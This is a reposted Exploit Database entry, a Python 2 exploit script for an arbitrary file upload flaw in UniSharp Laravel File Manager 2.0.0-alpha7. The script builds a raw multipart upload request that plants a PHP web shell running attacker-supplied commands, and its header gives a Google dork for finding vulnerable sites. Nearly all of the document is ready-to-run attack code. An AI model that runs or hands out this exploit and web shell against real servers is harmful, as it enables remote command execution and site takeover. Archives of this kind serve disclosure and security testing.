UniSharp Laravel File Manager 2.0.0-alpha7 – Arbitrary File Upload

• Exploit Database
• 12 阅读

• 作者： Mohammad Danish
  日期： 2019-02-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46389/

• ### Exploit Title: UniSharp Laravel File Manager - Arbitrary File Upload
  ##
  ## Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
  ## Exploit Author: Mohammad Danish
  ## Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
  ## Software Link: https://github.com/UniSharp/laravel-filemanager
  ## Version: v2.0.0-alpha7 & v.2.0
  ## 
  ##Exploit: UniSharp Laravel File Manager - Arbitrary File Upload
  ##Reference: https://github.com/UniSharp/laravel-filemanager/issues/356
  ##
  ##
  ##Issue Description:
  ##Larvel File Manager by UniSharp allows Arbitrary File Upload if type is set to Files /laravel-filemanager?type=Files
  ##
  ##*********************
  ##IMPORTANT READ
  ##*********************
  ##Code is not good written, as I just started learning python
  ##
  ##**********************
  ##[!!] USAGE: exploit.py <target-ip> <target-port> <laravel_session Cookie>
  ##[!!] USAGE: exploit.py 192.168.100.12 8080 eyJpdiI6IlplemdVaG9FSm9MaXJobEgrYlwvSkhnPT0iLCJ2YWx1ZSI6IkhrZ2R1O..........<YOUR SESSION ID HERE>
  ##-----------------------
  ##
  
  
  import socket
  import sys
  
  def exploit(host,port,sessionId):
  
  req = ""
  req += "POST /laravel-filemanager/upload HTTP/1.1\r\n"
  req += "Host: "+host+":"+port+"\r\n" 
  req += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0\r\n"
  req += "Accept: */*\r\n"
  req += "Accept-Language: en-US,en;q=0.5\r\n"
  req += "Accept-Encoding: gzip, deflate\r\n"
  req += "X-Requested-With: XMLHttpRequest\r\n"
  req += "Referer: http://"+host+":"+port+"/laravel-filemanager?type=Files\r\n"
  req += "Content-Length: 527\r\n"
  req += "Content-Type: multipart/form-data; boundary=---------------------------12194679330849\r\n"
  req += "Cookie:laravel_session="+sessionId+"\r\n"
  req += "Connection: keep-alive\r\n"
  req += "\r\n"
  req += "\r\n"
  
  req += "-----------------------------260082409123824\r\n"
  req += 'Content-Disposition: form-data; name="upload[]"; filename="c0w.php"\r\n'
  req += 'Content-Type: text/plain\r\n\r\n'
  
  req += 'Happy Hacking!!\r\n'
  req += "<?\r\n"
  req += "system($_REQUEST['cmd']);\r\n"
  req += "?>\r\n"
  req += "-------------------\r\n"
  req += "-----------------------------260082409123824\r\n"
  req += 'Content-Disposition: form-data; name="working_dir"\r\n'
  req += "/1\r\n"
  req += "-----------------------------260082409123824\r\n"
  req += 'Content-Disposition: form-data; name="type"\r\n'
  
  req += "Files\r\n"
  req += "-----------------------------260082409123824\r\n"
  req += 'Content-Disposition: form-data; name="_token"\r\n'
  
  req += "MU5XhVxbrkRnkVJFUHCjdfNSVTKm3qro6OgtWXjy\r\n"
  req += "-----------------------------260082409123824--\r\n"
  
  s = socket.socket()
  int_port = int(port)
  s.connect((host,int_port))
  ##print req
  s.send(req)
  response = s.recv(1024)
  magic = response[-10:]
  if "OK" in magic:
  print "[!] Your shell Uploaded successfully to directory /1/c0w.php"
  else:
  print "[!] Either the server is not vulnerable OR \r\n1) Check your laravel_session cookie \r\n2) Change working_dir in this exploit \r\n3) Check _token"
  
  
  
  host = sys.argv[1]
  port = sys.argv[2]
  sessionId = sys.argv[3]
  exploit(host,port,sessionId)